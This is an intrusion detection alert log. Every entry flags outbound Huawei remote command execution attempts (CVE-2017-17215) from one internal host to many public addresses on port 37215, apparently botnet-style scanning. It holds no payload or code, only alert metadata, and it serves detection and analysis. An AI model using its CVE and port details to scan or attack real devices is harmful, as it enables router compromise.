2025-02-12T16:53:54.861125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42596	157.114.234.1	37215	TCP
2025-02-12T16:53:54.861875+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34280	41.62.175.57	37215	TCP
2025-02-12T16:53:54.872412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60642	158.51.0.125	37215	TCP
2025-02-12T16:53:54.874560+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42890	41.57.161.60	37215	TCP
2025-02-12T16:53:54.891506+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56628	64.194.244.137	37215	TCP
2025-02-12T16:53:55.823736+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42410	44.192.72.240	37215	TCP
2025-02-12T16:53:55.839295+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40516	79.219.216.179	37215	TCP
2025-02-12T16:53:55.839339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40128	112.205.52.246	37215	TCP
2025-02-12T16:53:55.840965+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56178	112.252.184.30	37215	TCP
2025-02-12T16:53:55.842934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46518	130.215.143.16	37215	TCP
2025-02-12T16:53:55.843341+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50460	197.186.90.193	37215	TCP
2025-02-12T16:53:55.843799+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40168	197.189.107.157	37215	TCP
2025-02-12T16:53:55.886266+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60258	197.107.222.64	37215	TCP
2025-02-12T16:53:55.887347+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57114	197.172.82.50	37215	TCP
2025-02-12T16:53:55.887627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37340	157.249.146.219	37215	TCP
2025-02-12T16:53:55.887652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59246	41.227.243.136	37215	TCP
2025-02-12T16:53:55.887788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34060	41.249.187.23	37215	TCP
2025-02-12T16:53:55.887831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52024	41.113.97.35	37215	TCP
2025-02-12T16:53:55.887842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32998	144.204.158.255	37215	TCP
2025-02-12T16:53:55.888101+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40528	157.182.107.76	37215	TCP
2025-02-12T16:53:55.888485+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54744	41.60.211.222	37215	TCP
2025-02-12T16:53:55.889091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59180	197.52.133.109	37215	TCP
2025-02-12T16:53:55.892628+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57546	157.54.145.155	37215	TCP
2025-02-12T16:53:55.905670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34422	130.42.111.152	37215	TCP
2025-02-12T16:53:55.906251+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51208	53.152.69.166	37215	TCP
2025-02-12T16:53:55.921079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46442	157.136.31.56	37215	TCP
2025-02-12T16:53:56.870915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35942	41.142.42.50	37215	TCP
2025-02-12T16:53:56.889541+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41988	197.42.199.145	37215	TCP
2025-02-12T16:53:56.889644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48934	32.7.85.186	37215	TCP
2025-02-12T16:53:56.889985+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50752	197.197.128.170	37215	TCP
2025-02-12T16:53:56.890901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52264	41.83.191.33	37215	TCP
2025-02-12T16:53:56.905847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46282	157.122.53.63	37215	TCP
2025-02-12T16:53:56.906143+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43724	197.23.139.146	37215	TCP
2025-02-12T16:53:56.917436+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33292	197.196.58.72	37215	TCP
2025-02-12T16:53:56.920289+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33920	111.15.250.38	37215	TCP
2025-02-12T16:53:56.932831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57292	41.75.82.144	37215	TCP
2025-02-12T16:53:56.964141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46398	41.82.62.157	37215	TCP
2025-02-12T16:53:56.964204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40370	157.169.11.14	37215	TCP
2025-02-12T16:53:56.964425+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52336	157.93.171.38	37215	TCP
2025-02-12T16:53:56.979640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52094	157.252.112.235	37215	TCP
2025-02-12T16:53:56.979679+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37044	197.109.163.199	37215	TCP
2025-02-12T16:53:56.980461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33172	157.186.100.241	37215	TCP
2025-02-12T16:53:56.981413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42528	24.26.49.146	37215	TCP
2025-02-12T16:53:56.996046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38488	41.165.26.102	37215	TCP
2025-02-12T16:53:57.057378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43520	197.129.98.176	37215	TCP
2025-02-12T16:53:57.057772+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48680	41.253.237.194	37215	TCP
2025-02-12T16:53:57.057835+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43216	157.50.104.103	37215	TCP
2025-02-12T16:53:57.059794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49328	197.34.224.42	37215	TCP
2025-02-12T16:53:57.060801+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55378	41.87.246.137	37215	TCP
2025-02-12T16:53:57.061724+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52692	65.228.180.44	37215	TCP
2025-02-12T16:53:57.090033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35632	197.81.242.231	37215	TCP
2025-02-12T16:53:57.091036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50388	41.156.250.191	37215	TCP
2025-02-12T16:53:57.094045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51132	157.140.198.44	37215	TCP
2025-02-12T16:53:57.107030+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52774	198.121.253.78	37215	TCP
2025-02-12T16:53:57.226262+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38338	202.125.141.17	37215	TCP
2025-02-12T16:53:57.941128+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54328	41.142.133.150	37215	TCP
2025-02-12T16:53:58.012777+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52184	93.242.26.218	37215	TCP
2025-02-12T16:53:58.014630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56740	41.73.130.60	37215	TCP
2025-02-12T16:53:58.784441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58586	157.90.236.241	37215	TCP
2025-02-12T16:53:59.026532+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42616	159.91.150.244	37215	TCP
2025-02-12T16:53:59.026617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38920	36.30.160.145	37215	TCP
2025-02-12T16:53:59.042375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59320	41.119.241.194	37215	TCP
2025-02-12T16:53:59.060839+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56058	157.20.237.141	37215	TCP
2025-02-12T16:53:59.076531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43396	63.72.38.206	37215	TCP
2025-02-12T16:53:59.089392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41040	2.43.78.95	37215	TCP
2025-02-12T16:53:59.093178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34340	197.146.93.185	37215	TCP
2025-02-12T16:53:59.093379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40994	157.4.75.134	37215	TCP
2025-02-12T16:53:59.105894+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42636	41.137.192.237	37215	TCP
2025-02-12T16:53:59.107337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59710	197.56.56.143	37215	TCP
2025-02-12T16:53:59.110453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43416	197.1.156.10	37215	TCP
2025-02-12T16:53:59.121021+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49264	51.3.27.78	37215	TCP
2025-02-12T16:53:59.155544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46332	163.115.100.210	37215	TCP
2025-02-12T16:53:59.167621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36314	197.193.11.181	37215	TCP
2025-02-12T16:53:59.169077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60098	41.19.13.222	37215	TCP
2025-02-12T16:53:59.187339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48406	197.66.241.100	37215	TCP
2025-02-12T16:53:59.204930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48526	121.220.108.168	37215	TCP
2025-02-12T16:53:59.230578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35866	197.111.110.243	37215	TCP
2025-02-12T16:53:59.230578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45538	41.50.231.229	37215	TCP
2025-02-12T16:53:59.231033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52200	197.157.223.228	37215	TCP
2025-02-12T16:53:59.231040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36780	197.131.13.142	37215	TCP
2025-02-12T16:53:59.231550+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44220	41.126.187.21	37215	TCP
2025-02-12T16:53:59.233880+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50606	41.210.176.184	37215	TCP
2025-02-12T16:53:59.249321+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51904	41.229.252.217	37215	TCP
2025-02-12T16:53:59.261080+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44014	111.229.197.144	37215	TCP
2025-02-12T16:53:59.296256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60602	197.167.48.164	37215	TCP
2025-02-12T16:53:59.297115+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59200	197.75.154.235	37215	TCP
2025-02-12T16:53:59.343674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59194	197.54.74.163	37215	TCP
2025-02-12T16:53:59.344699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51566	41.68.230.51	37215	TCP
2025-02-12T16:53:59.344929+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41660	197.53.83.223	37215	TCP
2025-02-12T16:53:59.355028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37560	197.52.141.239	37215	TCP
2025-02-12T16:53:59.357536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52588	106.144.88.69	37215	TCP
2025-02-12T16:53:59.374512+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54172	36.61.133.107	37215	TCP
2025-02-12T16:53:59.385839+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48138	197.250.255.227	37215	TCP
2025-02-12T16:53:59.387763+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60214	41.60.62.117	37215	TCP
2025-02-12T16:53:59.391337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47398	157.147.236.246	37215	TCP
2025-02-12T16:53:59.432911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49848	197.62.9.118	37215	TCP
2025-02-12T16:53:59.432984+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33338	197.132.111.152	37215	TCP
2025-02-12T16:53:59.433015+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45446	157.37.158.201	37215	TCP
2025-02-12T16:53:59.433087+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46812	197.233.13.154	37215	TCP
2025-02-12T16:53:59.448478+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54614	41.114.195.81	37215	TCP
2025-02-12T16:53:59.452461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35084	197.238.148.9	37215	TCP
2025-02-12T16:53:59.465847+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50470	41.214.8.4	37215	TCP
2025-02-12T16:53:59.467529+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46148	41.152.24.15	37215	TCP
2025-02-12T16:53:59.484447+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42144	197.153.58.81	37215	TCP
2025-02-12T16:53:59.515343+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34958	157.212.91.214	37215	TCP
2025-02-12T16:53:59.518443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50858	197.152.24.245	37215	TCP
2025-02-12T16:53:59.531341+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43662	157.229.226.24	37215	TCP
2025-02-12T16:53:59.542644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41118	197.217.179.7	37215	TCP
2025-02-12T16:53:59.544129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35922	116.87.185.13	37215	TCP
2025-02-12T16:54:00.059338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39784	157.105.87.92	37215	TCP
2025-02-12T16:54:00.059638+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49808	80.251.187.207	37215	TCP
2025-02-12T16:54:00.075221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39558	141.240.184.212	37215	TCP
2025-02-12T16:54:00.077194+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43430	157.111.211.143	37215	TCP
2025-02-12T16:54:00.093230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45654	41.133.236.222	37215	TCP
2025-02-12T16:54:00.093310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43872	157.136.9.224	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35116	197.12.141.128	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41694	108.181.94.192	37215	TCP
2025-02-12T16:54:00.102320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52780	47.163.76.101	37215	TCP
2025-02-12T16:54:00.102329+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48048	165.195.56.179	37215	TCP
2025-02-12T16:54:00.102332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51746	197.8.223.242	37215	TCP
2025-02-12T16:54:00.102332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58452	197.183.88.25	37215	TCP
2025-02-12T16:54:00.102335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42092	53.98.20.79	37215	TCP
2025-02-12T16:54:00.102339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52672	41.90.155.35	37215	TCP
2025-02-12T16:54:00.102354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40158	41.121.61.185	37215	TCP
2025-02-12T16:54:00.102355+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42300	41.57.106.177	37215	TCP
2025-02-12T16:54:00.102355+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56748	197.85.196.136	37215	TCP
2025-02-12T16:54:00.102356+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60480	95.101.117.131	37215	TCP
2025-02-12T16:54:00.102356+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44594	197.198.128.25	37215	TCP
2025-02-12T16:54:00.102364+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40874	197.79.245.245	37215	TCP
2025-02-12T16:54:00.102364+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58128	159.129.214.126	37215	TCP
2025-02-12T16:54:00.102377+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38632	178.162.185.154	37215	TCP
2025-02-12T16:54:00.102377+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46762	157.75.191.103	37215	TCP
2025-02-12T16:54:00.102378+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58684	197.61.71.188	37215	TCP
2025-02-12T16:54:00.102384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56860	197.206.192.39	37215	TCP
2025-02-12T16:54:00.102402+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37510	197.103.11.7	37215	TCP
2025-02-12T16:54:00.102406+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43074	41.226.101.115	37215	TCP
2025-02-12T16:54:00.102412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43100	197.93.245.2	37215	TCP
2025-02-12T16:54:00.102414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36118	63.10.161.14	37215	TCP
2025-02-12T16:54:00.102414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37462	23.222.113.28	37215	TCP
2025-02-12T16:54:00.102426+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46576	198.192.36.157	37215	TCP
2025-02-12T16:54:00.102431+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60834	197.1.201.116	37215	TCP
2025-02-12T16:54:00.102431+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34174	105.32.250.9	37215	TCP
2025-02-12T16:54:00.102443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34680	157.11.73.39	37215	TCP
2025-02-12T16:54:00.102445+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42488	157.129.17.62	37215	TCP
2025-02-12T16:54:00.102449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46270	157.182.92.90	37215	TCP
2025-02-12T16:54:00.102451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39496	18.59.207.187	37215	TCP
2025-02-12T16:54:00.102453+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48190	123.159.73.95	37215	TCP
2025-02-12T16:54:00.102463+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43764	197.137.5.9	37215	TCP
2025-02-12T16:54:00.102473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34690	151.193.155.166	37215	TCP
2025-02-12T16:54:00.102473+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43372	197.251.161.30	37215	TCP
2025-02-12T16:54:00.102476+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38148	157.2.78.251	37215	TCP
2025-02-12T16:54:00.102482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55636	40.69.140.112	37215	TCP
2025-02-12T16:54:00.102493+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47510	157.136.15.141	37215	TCP
2025-02-12T16:54:00.102496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51664	103.99.116.211	37215	TCP
2025-02-12T16:54:00.102496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44188	197.69.44.95	37215	TCP
2025-02-12T16:54:00.102505+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42002	157.182.114.177	37215	TCP
2025-02-12T16:54:00.102509+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53134	198.198.217.227	37215	TCP
2025-02-12T16:54:00.102523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47528	183.187.196.228	37215	TCP
2025-02-12T16:54:00.102525+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52248	197.233.138.149	37215	TCP
2025-02-12T16:54:00.102531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46104	197.240.24.255	37215	TCP
2025-02-12T16:54:00.102532+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57776	197.193.166.105	37215	TCP
2025-02-12T16:54:00.102544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56790	197.61.218.129	37215	TCP
2025-02-12T16:54:00.102546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42130	41.109.154.180	37215	TCP
